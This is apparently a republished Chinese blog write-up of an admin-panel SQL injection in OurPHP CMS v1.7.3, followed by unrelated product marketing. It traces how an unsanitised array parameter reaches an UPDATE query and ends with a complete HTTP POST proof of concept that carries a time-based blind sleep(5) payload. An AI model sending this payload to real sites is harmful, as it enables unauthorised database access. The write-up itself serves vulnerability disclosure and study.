ourphp 最新版(v1.7.3) 后台sql注入

version:
<?php /******************************************************************************* * Ourphp - CMS建站系统 * Copyright (C) 2017 www.ourphp.net * 开发者:哈尔滨伟成科技有限公司 *******************************************************************************/ $ourphp_version="v1.7.3"; $ourphp_versiondate="20170615"; $ourphp_weixin="close"; $ourphp_apps="close"; $ourphp_alifuwu="close"; ?>

首先看 index.php

加载了下面这些文件

include './config/ourphp_code.php';
include './config/ourphp_config.php';
include './config/ourphp_version.php';
include './config/ourphp_Language.php';
include './function/ourphp_function.class.php';
include './function/ourphp/Smarty.class.php';
include './function/ourphp_system.class.php';
include './function/ourphp_template.class.php';

其中 ourphp_function.class.php 为一些安全过滤函数

批量搜索 $_POST

挑了一处跟进去  

\client\manage\ourphp_articleview.php  第71行

$query = $db -> update("`ourphp_article`","`OP_Articletitle` = '".admin_sql($_POST["OP_Articletitle"])."',`OP_Articleauthor` = '".admin_sql($_POST["OP_Articleauthor"])."',`OP_Articlesource` = '".admin_sql($_POST["OP_Articlesource"])."',`time` = '".date("Y-m-d H:i:s")."',`OP_Articlecontent` = '".admin_sql($_POST["OP_Articlecontent"])."',`OP_Tag` = '".$wordtag."',`OP_Class` = '".$OP_Articleclass[0]."',`OP_Lang` = '".$OP_Articleclass[1]."',`OP_Sorting` = '".admin_sql($_POST["OP_Articlesorting"])."',`OP_Attribute` = '".$OP_Articleattribute."',`OP_Url` = '".admin_sql($_POST["OP_Articleurl"])."',`OP_Description` = '".compress_html($OP_Articlecontent)."',`OP_Minimg` = '".$OP_Minimg."'","where id = ".intval($_GET['id']));

发现大部分参数都经过了 admin_sql 函数的处理,但是发现 $OP_Articleattribute 没有经过admin_sql的处理

搜索 $OP_Articleattribute 发现

\client\manage\ourphp_articleview.php  第47-51行

        if (!empty($_POST["OP_Articleattribute"])){
        $OP_Articleattribute = implode(',',$_POST["OP_Articleattribute"]);
        }else{
        $OP_Articleattribute = '';
        }

显然也没有经过处理

这里是update 的注入点  而且没有回显 所以不能用报错注入

根据上面对 $OP_Articleattribute 知道这里应该传入数组 

监控sql语句为

update `ourphp_article` set `OP_Articletitle` = '世界,你好!',`OP_Articleauthor` = '',`OP_Articlesource` = '',`time` = '2017-08-10 12:05:16',`OP_Articlecontent` = '世界,你好!',`OP_Tag` = '',`OP_Class` = '3',`OP_Lang` = 'cn',`OP_Sorting` = '99',`OP_Attribute` = 'aaaaaaaaaaaaa,xxxxxxxxx'',`OP_Url` = '',`OP_Description` = '世界,你好!',`OP_Minimg` = 'skin/noimage.png' where id = 3

带入了单引号

 

最后给出poc 

POST /client/manage/ourphp_articleview.php?ourphp_cms=edit&id=3&page=1 HTTP/1.1
Host: localhost.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=pnti0rkun1s1rrqhhl9n6lqdr1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 484

OP_Articleclass=3%7Ccn&OP_Articletitle=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&OP_Articleauthor=&OP_Articlesource=&a_upimg=skin%2Fnoimage.png&OP_Articlecontent=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&OP_Articlesorting=99&OP_Articleurl=&OP_Articletag=&OP_Articledescription=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&submit=%E6%8F%90%2B%E4%BA%A4&OP_Articleattribute[0]=aaaaaaaaaaaaa&OP_Articleattribute[1]=xxxxxxxxx' where 1=1 and sleep(5)-- -

 

 

转载于:https://www.cnblogs.com/depycode/p/7338605.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
OURPHP = 企业 电商 手机 微信 小程序 APP 站群,一站式互联网企业解决方案。 OURPHP 支持创建世界上任何语言的网站,外贸企业首选的建站品牌。 OURPHP 可以快速、安全的开启一个大气、功能强大的企业网站,它不但可以帮助您的企业树立形象,还可以实现在您自已的官方网站上展开电子商务。OURPHP理论上支持创建世界上所有国家语言的网站,是您做外贸的一个好帮手。它还可以像淘宝、小米那样开展电子商城,它还支持文章、商品、图集、下载、招聘、视频等所有满足您建站功能的需求。 OURPHP 拥有强大的配套产品 1. 订单宝:桌面版的订单接收处理工具,相当于阿里旺旺。来订单第一时间通知并处理。不错过任何订单。 2. 企通宝:网站管理员安装手机APP,随时随地通过APP管理网站后台数据。 OURPHP都有哪些功能? 多语言建站 = 后台创建多语言网站,前台一键切换。外贸企业首选 无限级栏目 = 无限级栏目,多层级栏目分类 网站优化功能 = 网站独立的优化功能,不同的页面可设置不同的SEO关键词 图片上传水印 = 支持图片上传打文字或图型水印 在线邮件提醒 = 支持注册,发货等邮件提醒功能 模板主题一键切换 = 后台模板主题一键切换,强大的HTML引擎开发模板更容易 栏目权限管理 = 管理员可分配栏目权限,不同的栏目可有不同的管理员管理 论坛式留言板 = 论坛式的留言板,留言板可分版块。不同的版块可有不同的留言内容 BANNER管理 = 强大的BANNER管理,支持BANNER分组管理和调用 浮动客服管理 = 可自由设置和添加在线客服,在线客服皮肤支持一键切换和开发 热门搜索词管理 = 网站记录用户在前台的搜索词,更好的让您挖掘用户习惯 文章功能 = 强大的新闻文章功能 商品 电商功能 = 强大的商城功能,支持品牌管理,多属性多规格设置 图集功能 = 强大的案例展示功能,多图展示功能 视频功能 = 支持跨屏视频播放,内置播放器解码 下载功能 = 类似软件站的下载功能 招聘功能 = 强大的招聘功能,支持在线应聘 会员中心 = 强大的会员中心功能 会员分组权限 = 支持会员分组操作,例:普通会员,VIP会员 会员组权重比较 = 支持会员组权重设置,不同的权重可设置不同的权限 站内邮件 = 强大的站内邮件,会员与会员之间可发送站内邮件聊天沟通 在线充值 = 支持支付宝,微信,网银等在线充值 广告管理 = 多功能型广告系统,支持右下角广告,对联广告,浮窗广告等 友链链接 = 支持文字型和图片型友情链接 插件安装 = 强大的插件体系,支持安装更多丰富多彩的插件扩展 关键词优化功能 = 关键词独立优化功能,让网站排名更好 伪静态功能 = 支持linux、IIS等伪静态功能 手机网站 = H5手机网站,数据与PC互通。一个后台一个数据库。智能判断用户是电脑还是手机,自动切换。 微信网站 = 支持对接微信平台,展开微信营销 微信小程序 = 支持对接微信小程序 数据库备份 = 在线数据库备份和恢复功能 万能SQL功能 = 在线执行SQL语句,更安全更方便 管理员分配权限 = 多管理员分配权限功能,不同的管理员可分配管理 订单系统 = 强大的订单功能,支持桌面订单系统的接收和处理 仓库管理 = 仓库功能可把下架的商品存到库房 品牌管理 = 支持商品按品牌分类管理 API接口管理 = 强大的API扩展功能,支持对接第三方的API程序 站长统计 = 支持统计来访数据和页面浏览数据等。记录用户行为。 OURPHP截图 相关阅读 同类推荐:站长常用源码

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值